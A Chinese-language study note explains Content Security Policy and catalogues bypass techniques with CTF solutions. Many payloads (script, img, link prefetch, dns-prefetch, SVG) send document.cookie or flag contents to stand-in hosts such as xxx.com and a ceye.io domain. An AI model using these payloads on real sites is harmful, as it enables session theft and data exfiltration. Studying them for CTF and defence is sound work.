CSP学习笔记

什么是CSP

对于XSS,虽然可以通过过滤用户输入的特殊字符,比如<>+'"等来进行防护,但可能会影响到正常用户的输入,而且不能防御今后会发生什么,CSP则是从浏览器层面防御XSS

CSP,Content Security Policy,即内容安全策略,旨在减少跨站脚本攻击。CSP是一种由开发者定义的安全性政策性申明,通过CSP所约束的规则指定可信的内容(脚本、图片…)来源,即采用白名单的思想

CSP中常见的header字段为Content-Security-Policy,一个CSP头由多组CSP策略组成,策略间用分号分隔,例如:

Content-Security-Policy: default-src 'self' www.gtfly.top; script-src 'unsafe-inline'

每一组策略包含一个策略指令和一个内容源列表

策略指令

  • default-src:除了被设置的指令外,其余指令都会被设置为default-src指令所设置的属性
  • script-src:该指令限制了所有js脚本可被执行的地方,包括通过链接方式加载的脚本url,以及所有内联脚本、各种方式的引用。它有一个参数叫unsafe-inline,如果加上这个参数,就不会阻止内联脚本,但这被认为是不安全的
  • connect-src:定义Ajax、WebSocket等加载策略
  • font-src:定义Font加载策略
  • frame-src:定义Frame加载策略
  • img-src:定义图片加载策略
  • media-src:定义<audio><video>等引用资源加载策略
  • object-src:定义<applet><embed><object>等引用资源加载策略
  • style-src:定义css加载策略
  • child-src:管理了嵌套浏览的部分,如<ifram>
  • manifest-src:限制了从应用清单可以加载的url,如<link>
  • sandbox:值为allow-forms,对资源启用sandbox
  • report-uri:值为/report-uri,提交日志

内容源

  • 源列表
    • *:通配符,允许任何URL,除了data:blob:filesystem:schemes
    • *.foo.com:允许加载foo.com子域的资源
    • abc.foo.com:只能加载这个域名下的资源
  • 关键字
    • 'none':表示空集,即不匹配任何URL
    • 'self':代表和文档同源
    • 'unsafe-inline':允许使用内联资源,如内联的script元素、内联的事件处理函数、内联的style元素等
    • 'unsafe-eval':允许使用eval()等通过字符串创建代码的方法
  • 数据
    • data::允许 data: URI 作为内容来源
    • mediastream::允许mediastream: URI作为内容来源

例子

例1:

1
Content-Security-Policy: default-src 'self' trustedscripts.foo.com

表示默认的内容必须为同源和trustedscripts.foo.com

例2:

1
Content-Security-Policy: default-src 'self'; img-src 'self' data:; media-src mediastream:

表示图片源可以使同源且data:引用的资源,媒体源必须使用mediastream:引用,除此之外的都必须为同源内容

例3:

1
Content-Security-Policy: script-src 'nonce-xxx'

在某些情况下确实需要用到内联css或js,那么可用nonce+随机数的方式,之后css或js标签中要带上这个属性:

1
2
3
<script nonce=xxx>
//
</script>

Bypass CSP

含有CSP的PHP代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
if (!isset($_COOKIE['csp'])) {
setcookie('csp',md5(rand(0,1000)));
}
header("Content-Security-Policy: default-src 'self'");
?>
<!DOCTYPE html>
<html>
<head>
<title>CSP</title>
</head>
<body>
<p>CSP</p>

<?php
if (isset($_GET['t'])) {
echo "Your GET content:".@$_GET['t'];
}
?>

</body>
</html>

由于header头设置了CSP只允许加载同源资源,那么我在火狐浏览器中输入的js代码便不能生效(不加载内联资源)

0x01.利用 URL 跳转

1.在 script-src 'unsafe-inline'的情况下,可以加载其他域的资源

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<script>window.location='http://127.0.0.1:2222'</script>

<script>document.location='http://xxx.com/?'+document.cookie;</script>

<script>location.href='http://xxx.com/?'+document.cookie;</script>

<script>
const i = document.createElement('img');
i.src = 'http://xxx.com/?' + document.cookie;
document.body.appendChild(i);
</script>

<body onpageshow="location.href='http://xxx.com/?'+document.cookie;">

<frameset onpageshow="location.href='http://xxx.com/?'+document.cookie;">

<video><source onerror="location.href='http://xxx.com'">

<svg/onload="document.location='http://xxx.com/?'+document.cookie">

某些情况可用<a>标签配合站内可控js点击操作实现跳转:

1
2
3
4
5
6
7
8
...
<script>
$(#foo).click()
</script>
</head>
<body>
<a id="foo" href="xxxxx.com">click</a>
...

2.在default-src 'self'的情况下,可以用meta标签实现跳转:

1
<meta http-equiv="refresh" content="1;url=http://127.0.0.1:2222" >

3.利用网站接口实现跳转,可参考下文BSidesSF 2020 CTF CSP3

0x02.iframe绕过

一个源下,存在xss和无csp保护的csp.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
if (!isset($_COOKIE['csp'])) {
setcookie('csp',md5(rand(0,1000)));
}
header("Content-Security-Policy: default-src 'self';script-src 'unsafe-inline'");
?>
<!DOCTYPE html>
<html>
<head>
<title>CSP</title>
</head>
<body>
<p>CSP</p>

</body>
</html>

存在csp保护的csp1.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
if (!isset($_COOKIE['csp'])) {
setcookie('csp',md5(rand(0,1000)));
}
header("Content-Security-Policy: default-src 'self'");
?>
<!DOCTYPE html>
<html>
<head>
<title>CSP</title>
</head>
<body>
<p>CSP</p>

<?php
if (isset($_GET['t'])) {
echo "Your GET content:".@$_GET['t'];
}
?>

</body>
</html>

payload:

1
2
3
4
5
6
<script>
var iframe = document.createElement('iframe');
iframe.src="./csp.php";
document.body.appendChild(iframe);
setTimeout(()=>location.href='http://127.0.0.1:2222',1);
</script>

可以操作csp.php的dom内容,并跳转到指定的域

0x03.CDN绕过

CDN,内容分发网络,用来提高用户访问速度,减轻服务器压力等的一种智能虚拟网络。CND的关键技术主要有内容存储和分发技术

当CDN服务商存在某些低版本的js库、且此CDN服务商在CSP白名单中,那么便可能存在CSP的绕过

比如 RCTF2018 出现了一道xss题目,使用了AMP库

https://xz.aliyun.com/t/2347#toc-1

0x04.非js文件的利用

1.SVG是使用XML来描述二维图像和绘图程序的语言,且SVG标准中也定义了script标签,那么可以通过访问自己构造的SVG图像来触发XSS

1
2
3
4
5
6
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" width="100px" height="100px" viewBox="0 0 751 751" enable-background="new 0 0 751 751" xml:space="preserve"> <image id="image0" width="751" height="751" x="0" y="0"
href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAu8AAALvCAIAAABa4bwGAAAAIGNIUk0AAHomAACAhAAA+gAAAIDo" />
<script>location.href='http://127.0.0.1:2222/?cookieis'+escape(document.cookie);</script>
</svg>

在本地测试的构造好svg图像后,把文件名后缀改为.abc也能正常触发xss

脑补利用链:

上传svg图像并返回路径 =》ssrf处提交路径(只能访问同源url) => xss

2.wave文件

https://mp.weixin.qq.com/s?__biz=MzI5MDQ2NjExOQ==&mid=2247487368&idx=1&sn=e6655bb59560b74ae1a6bd413f77ccc4&chksm=ec1e3fa0db69b6b6fa8d9b0ac768e3f40413eb212d777d340cc28ca8a5ddf41ff8aba18159f3&scene=21

0x05.利用浏览器补全

CSP使用了nonce属性,并且可控位置与原有script标签位置如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
if (!isset($_COOKIE['csp'])) {
setcookie('csp',md5(rand(0,1000)));
}
header("Content-Security-Policy: default-src 'self';script-src 'nonce-xxx'");
?>
<!DOCTYPE html>
<html>
<head>
<title>CSP</title>
</head>
<body>
<p>safe</p>

<?php
if (isset($_GET['t'])) {
echo "Your GET content:".@$_GET['t'];
}
?>

<script nonce="xxx">

</script>

</body>
</html>

payload:

1
<script src='http://127.0.0.1:2222';

浏览器碰到一个<时,会变为标签开始状态,之后会一直持续到碰到右尖括号为止,那么这里原有的nonce属性就会成为我们输入的script标签中的一个属性

0x06.缺少策略

比如只设置了一个:

script-src 'self'

没有设置object-srcdefault-src,那么可以用<object>标签绕过:

1
<object%20 data='http://127.0.0.1:2222'</object>

<object>标签用于包含对象,比如图像、音频、视频、Java applets、ActiveX、PDF 以及 Flash。

页面资源预加载,浏览器会根据指示在空闲时预加载指定的页面,并存储到缓存中

1.prefetch

1
<link rel="prefetch" href="http://xxx.com">

打cookie:

1
2
3
4
5
6
<script>
const i=document.createElement('link');
i.setAttribute('rel','prefetch');
i.setAttribute('href','http://xxx.com?'+document.cookie);
document.head.appendChild(i);
</script>

2.dns-prefetch

允许浏览器在后台提前将资源的域名转为IP地址,用户访问时就可以加快DNS解析

1
<link rel="dns-prefetch" href="http://xxx.com">

打cookie:

1
2
3
4
5
6
7
8
<script>
dcl = document.cookie.split(";");
n0 = document.getElementsByTagName("HEAD")[0];
for (let i=0; i<dcl.length;i++){
console.log(dcl[i]);
n0.innerHTML = n0.innerHTML + "<link rel="dns-prefetch" href="//" + escape(dcl[i].replace(///g, "-")).replace(/%/g, "_") + '.' + location.hostname.replace(/./g, "-") + ".wb7g7z.ceye.io">";
}
</script>

根据域名的命名规则[.-a-zA-Z0-9]+,对一些字符进行了替换

3.其他

preconnect

preload

0x08 利用CRLF绕过

在HTTP响应头中注入CRLF,将CSP头分隔至HTTP响应体中

0x09.bypass字符

1.过滤.

js的对象方法可以通过数组的方式进行调用

1
2
3
4
5
<script>
const i = document['createElement']('img');
i['src'] = String['fromCharCode'](104,116,116,112,58,47,47,120,120,120,46,99,111,109);
document['body']['appendChild'](i);
</script>

使用with关键字设置变量的作用域

1
<script>with(document)alert`1`</script>

2.unsafe-inline 和 unsafe-eval 都开启时

此时可以用eval函数绕过大部分关键字

1
2
//document.location=http://xxx.com+document.cookie
String.fromCharCode(100, 111, 99, 117, 109, 101, 110, 116, 46, 108, 111, 99, 97, 116, 105, 111, 110, 61, 104, 116, 116, 112, 58, 47, 47, 120, 120, 120, 46, 99, 111, 109, 43, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 111, 111, 107, 105, 101)

3.过滤()

通过绑定错误处理函数,通过throw关键字传递参数绕过:

1
<script>window.onerror=alert;throw 1;</script>

那么同时过滤.(),便可通过以下方式绕过:

1
<script>window['onerror']=alert;throw 2;</script>

4.过滤空格

标签属性间可以用换行符0x0a、0x09、0x10等字符绕过;标签名称和第一个属性之间可以用/代替空格

1
2
<img/src=x
onerror=alert(1)>

5.svg绕过

svg内部遵循的标签和语句直接继承自xml而不是html,svg内部的script标签可以允许存在一部分进制或编码后的字符,例如实体编码:

1
<svg><script>alert&#x28;1&#x29;</script></svg>

实战练习

在几乎所有流行的浏览器中,都禁止将数据从安全(HTTPS)页面传输到不受保护(HTTP)的站点,因为这有被拦截的风险

BSidesSF 2020 CTF

*Can you bypass the CSP? Try to read* **/csp-*-flag** *as admin, all payloads submitted here will be sent to the admin.*

题目1

CSP规则:

content-security-policy: script-src 'self' data:; default-src 'self'; connect-src *; report-uri /csp_report

意思是:允许加载内联script且以 data: URI 作为内容来源,允许外带数据到任何域

对于data:,可用src属性的data:执行js,这点和php data://协议流用法很像:

1
2
<script src=data:text/plain,alert(1)></script>
<script src=data:text/plain;base64,YWxlcnQoMSkK></script>

payload:

1
<script src="data:,fetch('/csp-one-flag').then(x=>x.text()).then(x=>location='http://xxx/?'+escape(x))">

题目2

CSP规则:

Content-Security-Policy: script-src 'self' ajax.googleapis.com 'unsafe-eval'; default-src 'self' 'unsafe-inline'; connect-src *; report-uri /csp_report

script-src指定了可以从ajax.googleapis.com上加载js,unsafe-eval指定了可以使用eval等通过字符串创建代码的方法

ajax.googleapis.com包含了Angularjs,使用Angularjs Template绕过:

1
2
3
4
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.min.js"></script>
<div ng-app>
{{constructor.constructor("fetch('/csp-two-flag').then(res=>{return res.text()}).then(body=>{fetch('//xx.xx//?'+body)})")()}}
</div>

题目3

CSP规则:

content-security-policy: script-src 'self' http://storage.googleapis.com/good.js; default-src 'self'; connect-src *; report-uri /csp_report

以下是大佬的wp

从 robots.txt 可得知/redirect?url=http://example.com存在301跳转漏洞。

storage.googleapis.comfirebase存储文件的域名。我们可以先在firebase创建项目并上传文件,然后在https://console.cloud.google.com/storage/browser/{bucket}给文件添加一个叫”allUsers“的权限。就能获得一个任何人可访问的js:http://storage.googleapis.com/{bucket}/xss.js

但是这个url的路径部分和CSP是不匹配的,得想办法绕过。

根据CSP Level 3, 7.6. Paths and Redirects,跳转之后路径部分会被忽略。例如对于策略img-src example.com example.org/path

  • 直接加载https://example.org/not-path将失败,因为它与策略不匹配。
  • 加载https://example.com/redirector,由于它和example.com匹配,故能通过。
  • 假设https://example.com/redirector重定向到https://example.org/not-path,也将通过。因为跳转前匹配上了example.com,跳转后匹配上了example.org(路径部分被忽略)。

利用这个特点,让/redirect跳转到http://storage.googleapis.com/{bucket}/xss.js,则策略中的/good.js将被忽略,从而绕过该CSP。

这里还有个细节,题目使用的是https,而CSP里写的是http://storage.googleapis.com/good.js是http,即使绕过了CSP,浏览器也不会允许从https降级请求http资源。

根据CSP3的文档,CSP规则的协议部分的匹配是不对称的,例如:

所以,我们可以跳转到https上,也是可以过CSP的。

最终的payload:

1
<script src=/redirect?url=https://storage.googleapis.com/{bucket}/xss.js>

其他师傅的总结:

https://www.cnblogs.com/sijidou/p/10695195.html
https://hurricane618.me/2018/06/30/csp-bypass-summary/#CSP%E7%9A%84%E8%BF%9B%E5%8C%96%E2%80%93nonce-script-CSP%E5%92%8Cstrict-dynamic
https://lorexxar.cn/2017/05/16/nonce-bypass-script/